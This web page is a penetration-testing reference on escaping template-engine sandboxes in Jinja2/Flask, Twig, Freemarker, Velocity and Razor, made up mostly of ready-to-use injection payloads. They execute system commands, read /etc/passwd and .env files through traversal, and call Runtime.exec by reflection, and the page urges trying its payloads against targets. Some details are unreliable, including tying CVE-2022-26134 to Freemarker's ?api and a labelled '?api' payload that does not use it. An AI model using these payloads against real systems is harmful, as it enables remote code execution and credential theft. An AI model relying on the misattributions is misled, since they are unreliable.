Skip to content

Sandbox escape

A template sandbox restricts what built-in helpers, attributes, and methods the engine exposes. Escape paths:

  • Jinja2 sandbox - string indexing instead of __class__ attribute, request.args smuggle, lipsum.__globals__ removed by Flask’s SandboxedEnvironment but not by all subclasses
  • Twig sandbox - filter/map/sort callbacks with PHP function names, source/include with traversal
  • Freemarker - ?api mechanism (added 2.3.22) bypasses new_builtin_class_resolver restrictions
  • Velocity - Velocity Tools $class survives some secure_uberspect configs; reflection through static fields when method access is restricted

The general principle: sandboxes filter by name. Reach the same object through a different name (string indexing, reflection, namespace tricks) and the sandbox often doesn’t see it.

Sandboxes typically restrict three categories:

  1. Attribute access - __class__, __mro__, getClass, class, similar magic attributes that walk the runtime type system
  2. Function names - eval, exec, system, popen, Runtime.exec, similar direct command-execution APIs
  3. Module imports - __import__, require, Type.GetType, similar loaders

Each engine implements these checks differently. None implement them completely. The bypasses below exploit the difference between “filtered name” and “reachable object.”

Flask’s SandboxedEnvironment (and Jinja2’s directly) blocks attribute access to names starting with __:

{{ ''.__class__ }} # blocked: "access to the attribute '__class__' of 'str' object is unsafe"

Path A - String indexing instead of attribute access

Section titled “Path A - String indexing instead of attribute access”

The sandbox checks __getattr__. String indexing (__getitem__) is a different code path:

{{ ''['__class__'] }} # often works where ''.__class__ is blocked
{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}

Some sandbox subclasses also filter __getitem__ - test the simpler ''['__class__'] first.

When the sandbox blocks the string literal __class__ but allows attribute reads from request:

{{ ''[request.args.x][request.args.y][1][request.args.z]() }}

Then send the request with ?x=__class__&y=__mro__&z=__subclasses__. The keyword __class__ never appears in the template body - it arrives via the query string.

Jinja2’s built-in attr filter is sometimes allowed when direct attribute access is blocked:

{{ ''|attr('__class__') }}
{{ ''|attr('__class__')|attr('__mro__') }}

Path D - cycler / joiner / namespace (Flask-specific)

Section titled “Path D - cycler / joiner / namespace (Flask-specific)”

Flask exposes these helpers globally in templates. Their __globals__ reaches os regardless of sandboxing on __class__:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

If sandbox filters __init__ specifically, try __globals__ directly:

{{ cycler.__globals__.os.popen('id').read() }}

Path E - range, dict, other built-in callables

Section titled “Path E - range, dict, other built-in callables”

When most paths are blocked but Jinja2’s built-in range is still callable:

{{ range.__globals__.os.popen('id').read() }}

Built-in callables like range, dict, lipsum have __globals__ pointing into Jinja2’s runtime module - which often has os imported for path manipulation.

Twig’s sandbox restricts:

  • Tags (if, for allowed by default; set, extends, include filtered)
  • Filters (escape, length allowed; filter, map, reduce NOT in default allowlist but often added)
  • Functions (max, min allowed; almost nothing else by default)
  • Methods on objects (none by default; allowlist per object class)

If the sandbox allowlist includes the filter or map filters (commonly added because they’re useful), PHP function names work as callables:

{{['id']|filter('system')}}
{{['id']|map('system')|join(',')}}
{{['/etc/passwd']|map('file_get_contents')|join('')}}

The string 'system' passes through the sandbox because it’s a string, not a method call.

If source is allowed (it often is - sandboxes use it for partials):

{{ source('../config/services.yaml') }}
{{ source('../.env') }}

Path traversal here is loader-relative. Most Twig loaders are pinned to the templates directory; traversal escapes that to wherever the loader’s root resolves.

In hardened Twig, _self.env returns null or throws. In some sandbox subclasses, _self.env exists but specific methods are filtered:

{{_self.env.getRuntimeLoader()}} # often allowed
{{_self.env.getLoader().getSourceContext('foo').getCode()}}

The getSourceContext path reads template files directly, bypassing the application’s view-resolution logic.

Freemarker - new_builtin_class_resolver restrictions

Section titled “Freemarker - new_builtin_class_resolver restrictions”

Freemarker’s sandbox restricts which classes ?new can instantiate. When new_builtin_class_resolver is set to TemplateClassResolver.ALLOWS_NOTHING_RESOLVER, ?new is disabled.

Path A - ?api reflection (Freemarker 2.3.22+)

Section titled “Path A - ?api reflection (Freemarker 2.3.22+)”

The ?api built-in exposes the Java API of any TemplateModel - bypassing ?new restrictions entirely:

${"".getClass().forName("java.lang.Runtime").getMethod("exec",["".getClass()]).invoke(null,"id")}

This is the path CVE-2022-26134 (Confluence) used. The Freemarker sandbox didn’t anticipate reflection through ?api on objects already in scope.

Some Freemarker built-ins survive sandboxing and provide indirect file access:

${.now} # current time - confirms eval
${.template_name} # template path - info disclosure
${.locale} # server locale
${.data_model?keys} # variable names in scope

?.data_model?keys reveals what application objects are available - frequently includes a request, session, or app object whose methods can be called via ?api.

Velocity’s secure_uberspect setting restricts reflection methods (getClass, getMethod, invoke). It’s the closest analog to a true sandbox in Velocity.

$class.inspect(...) uses a different code path than direct reflection - frequently survives secure_uberspect:

$class.inspect("java.lang.Runtime").type.getMethod("getRuntime").invoke(null).exec("id")

If Velocity Tools is loaded but reflection is blocked elsewhere, this is often the path.

When method access is blocked, static field access sometimes isn’t:

#set($s="")
#set($cls=$s.getClass().getSuperclass()) # often still works

The exact bypass depends on which methods secure_uberspect filters. Test individual reflection methods (getClass, getSuperclass, getMethod, invoke) - sandbox configurations frequently filter only the obvious ones.

ERB does not implement a sandbox. Ruby applications wanting templated user input typically switch to Liquid (Shopify’s restricted templating language) - which is genuinely sandboxed and very hard to escape. If you’re hitting Liquid:

{{7 | times: 7}} # → 49 in Liquid

Liquid’s filter syntax ({{ x | filter }}) is distinctive. RCE through Liquid is exceptionally difficult; most engagements stop at information disclosure (filter abuse to read template-context variables).

Razor compiles to C# and runs with full BCL access. There is no built-in sandbox mode in either RazorEngine or RazorLight. Some applications implement custom sandboxes by analyzing the generated C# AST and rejecting forbidden namespaces - these are usually defeated by reflection:

@{ var t = System.Type.GetType("System.Diagnostics.Process"); /* ... */ }

The string "System.Diagnostics.Process" is data, not a namespace reference - AST-based filters often miss it.

The bypasses above share three principles:

  1. Reach the object through data, not code. __class__, system, Runtime as literal strings in request.args / attr() / forName() survive filters that block them as keywords.
  2. Use the engine’s most convenient API. _self.env (Twig), ?api (Freemarker), $class (Velocity Tools), cycler.__globals__ (Flask) - engine-provided escape hatches are usually less filtered than the obvious reflection paths.
  3. Look for unrestricted callables. Filters that look harmless (filter, map, attr) become arbitrary function call when their callback parameter is reached.

Quick probes to identify sandbox presence:

{{ ''.__class__ }} # blocked → sandboxed
{{ config }} # empty → likely sandboxed (Flask normally exposes config)
{{ ''['__class__'] }} # works where ''.__class__ doesn't → SandboxedEnvironment-style
  • Sandbox version matters. Each engine has tightened sandboxing over time. Jinja2’s SandboxedEnvironment was significantly hardened in 2.10 (April 2019). Twig’s sandbox got the _self filter in 1.32 (March 2017). Freemarker’s ?api filter restrictions arrived in 2.3.27 (March 2018). Older deployments are far more exploitable.
  • Custom sandbox subclasses. Applications sometimes subclass the built-in sandboxes to add/remove restrictions. These customizations frequently introduce new gaps - the application’s developers add a “useful” filter or expose a “safe” helper that the sandbox authors never considered.
  • Sandbox != security boundary. Template sandboxes are designed to prevent accidents in semi-trusted templates (a marketing user editing email copy), not to resist motivated attackers. Treat any successful template injection in a sandboxed engine as still potentially exploitable - give it five payloads from this page before concluding the sandbox is solid.